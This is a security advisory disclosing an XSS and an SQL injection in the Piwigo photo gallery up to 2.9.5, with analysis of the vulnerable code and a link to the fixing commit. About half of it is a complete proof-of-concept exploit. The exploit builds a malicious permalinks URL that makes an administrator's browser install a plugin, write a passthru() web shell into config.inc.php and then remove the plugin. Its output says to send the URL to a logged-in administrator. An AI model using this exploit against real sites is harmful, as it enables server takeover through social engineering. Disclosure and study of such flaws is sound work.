Share
###########################################################################  
______ ____________ __   
/ ____/_ __/ / __/_ __/__ _____/ /_   
/ / __/ / / / / /_ / / / _ \/ ___/ __ \  
/ /_/ / /_/ / / __/ / / / __/ /__/ / / /   
\____/\__,_/_/_/ /_/ \___/\___/_/ /_/   
  
GulfTech Research and Development   
  
###########################################################################  
# Piwigo <= 2.9.5 Multiple Vulnerabilities #   
###########################################################################  
  
  
Released Date: 2019-09-22  
Last Modified: 2019-09-22  
Company Info: Piwigo.org  
Version Info:   
Vulnerable  
Piwigo <= 2.9.5  
  
  
--[ Table of contents  
  
00 - Introduction  
00.1 Background  
  
01 - Cross Site Scripting  
01.1 - Vulnerable code analysis  
01.2 - Remote exploitation  
  
02 - SQL Injection  
02.1 - Vulnerable code analysis  
02.2 - Remote exploitation  
  
03 - Credit  
  
04 - Solution  
  
05 - Contact information  
  
  
--[ 00 - Introduction  
  
The purpose of this article is to detail the vulnerabilities that I found   
in the Piwigo software.   
  
  
--[ 00.1 - Background  
  
Piwigo is a popular open source photo gallery application written in PHP.  
  
  
--[ 01 - Cross Site Scripting  
  
Piwigo is vulnerable to a XSS issue within the "permalinks" functionality.   
This vulnerability can be exploited by an attacker to execute arbitrary   
client side code within the context of the victim client.  
  
--[ 01.1 - Vulnerable code analysis  
  
The vulnerable code can be found within the "parse_sort_variables" function  
which is located in admin/permalinks.php and is as follows:  
  
$url_components = parse_url( $_SERVER['REQUEST_URI'] );  
  
$base_url = $url_components['path'];  
  
parse_str($url_components['query'], $vars);  
$is_first = true;  
foreach ($vars as $key => $value)  
{  
if (!in_array($key, $get_rejects) and $key!=$get_param)  
{  
$base_url .= $is_first ? '?' : '&';  
$is_first = false;  
$base_url .= $key.'='.urlencode($value);  
}  
}  
  
As we can see from the above code, the user supplied "REQUEST_URI" server  
variable is used to build the $base_url variable which is later displayed  
as a link to the end user. The problem with this code is that value data is  
urlencoded, but key data is unasanitized. This leads to a reflected XSS  
condition which could allow an attacker to force an authenticated admin  
user to perform malicious actions silently on the attackers behalf.  
  
--[ 01.2 - Remote exploitation  
  
The Javascript payload that I created was able to create a web shell on the   
remote host by taking the following steps once executed by an authenticated   
administrator.  
  
1] Gather "pwg_token" CSRF token  
2] Install LocalFilesEditor plugin  
3] Activate plugin  
4] Write shell to /local/config/config.inc.php  
5] De activate plugin  
6] Uninstall plugin  
7] Redirect user to the index page  
  
Exploitation of this issue is rather straight forward, but because   
variables in PHP can't have dots and spaces in their names so those are   
converted to underscores by the call to "parse_str" in the vulnerable code  
shown earlier. An attacker must adhere to these limitations whenever  
constructing XSS payloads.   
  
  
--[ 02 - SQL Injection  
  
Piwigo is vulnerable to an SQL Injection issue within the "permalinks"   
functionality. This vulnerability can be exploited by an attacker to execute   
arbitrary SQL statements.  
  
--[ 02.1 - Vulnerable code analysis  
  
The vulnerable code can be found located in the admin/permalinks.php file and is   
as follows:  
  
if ( isset($_POST['set_permalink']) and $_POST['cat_id']>0 )  
{  
check_pwg_token();  
$permalink = $_POST['permalink'];  
if ( empty($permalink) )  
delete_cat_permalink($_POST['cat_id'], isset($_POST['save']) );  
else  
set_cat_permalink($_POST['cat_id'], $permalink, isset($_POST['save']) );  
$selected_cat = array( $_POST['cat_id'] );  
}  
  
Both the "set_cat_permalink" and "delete_cat_permalink" functions rely on the   
"cat_id" variable already being sanitized. However, the only sanity checks that  
take place with "cat_id" are to make sure it is greater than zero. This is not  
sufficient as PHP type juggling will cast a string that starts with a number to   
a valid integer for the comparison, yet the original tainted value will remain.  
This allows an attacker to pass a string that starts with an integer in order to  
achieve SQL Injection.  
  
--[ 02.2 - Remote exploitation  
  
It seems an admin account is required to exploit this issue, so I did not bother  
with trying to write an exploit for this issue.  
  
--[ 03 - Credit  
  
James Bercegay  
GulfTech Research and Development  
  
  
--[ 04 - Solution  
  
The issue is addressed with the following commit.  
  
https://github.com/Piwigo/Piwigo/commit/7e154ab093546e5288221685c1f8bfec2382d09a  
  
This is scheduled for release 2.10.0.RC2  
  
  
--[ 05 - Contact information  
  
Web  
https://gulftech.org/  
  
Mail  
security@gulftech.org  
  
  
Copyright 2019 GulfTech Research and Development. All rights reserved.  
  
  
---------------------------------------------------------------  
2019_piwigo_permalinks_xss_to_rce.php Proof of Concept exploit:  
  
<?php  
////////////////////////////////////////////////////////////////////////////////  
// Piwigo <= 2.9.5 XSS to RCE Proof of Concept   
// James Bercegay ( http://www.gulftech.org/ )  
////////////////////////////////////////////////////////////////////////////////  
  
// Start output buffering for JavaScript content  
ob_start();  
?>  
// BEGIN JAVASCRIPT  
  
// CSRF protection token  
var pwg = document.forms[0].pwg_token.value;  
  
// Webshell PHP code  
var php = "passthru(urldecode($_REQUEST['x']));";  
  
// LocalFilesEditor version info  
var rev = "6861";  
var ext = "144";  
  
// Build URL  
var url = "admin.php?page=plugins&tab=new&revision=" +  
rev +  
"&extension=" +  
ext +  
"&pwg_token=" + pwg;  
  
// Install plugin  
$.ajax({  
async: false,  
type: "GET",  
url: url  
});  
  
// Build URL  
var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" +   
pwg +   
"&action=activate";  
  
// Activate plugin  
$.ajax({  
async: false,  
type: "GET",  
url: url,  
success: function (response) {  
  
// Build URL  
var url = "admin.php?page=plugin-LocalFilesEditor-localconf";  
  
// Keep space at the beginning of php payload. It's intentional.  
$.post( url, { pwg_token: pwg, text: " " + php, submit: "1" } );  
  
}});  
  
// Build URL  
var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" +   
pwg +   
"&action=deactivate";  
  
// De Activate plugin  
$.ajax({  
async: false,  
type: "GET",  
url: url  
});  
  
// Build URL  
var url = "admin.php?page=plugins&plugin=LocalFilesEditor&pwg_token=" +  
pwg +   
"&action=delete";  
  
// Uninstall plugin   
$.ajax({  
async: false,  
type: "GET",  
url: url  
});  
  
// Redirect user  
document.location = "admin.php";  
  
// ENDED JAVASCRIPT  
<?php  
  
// Encode contents using base64 encoding. We do this because PHP strips certain   
// characters from key values, and will prevent loading javascript containing a   
// dot for example.  
$b64 = base64_encode(ob_get_clean());  
  
// Formatted URL  
$url = '/admin.php?page=permalinks&"><script>eval(atob("%s"));</script><a+"=1';  
  
// Output  
printf($url, urlencode($b64));  
printf("\nSend the above URL to a logged in administrator.");  
printf("\nShell will be located at: local/config/config.inc.php");  
?>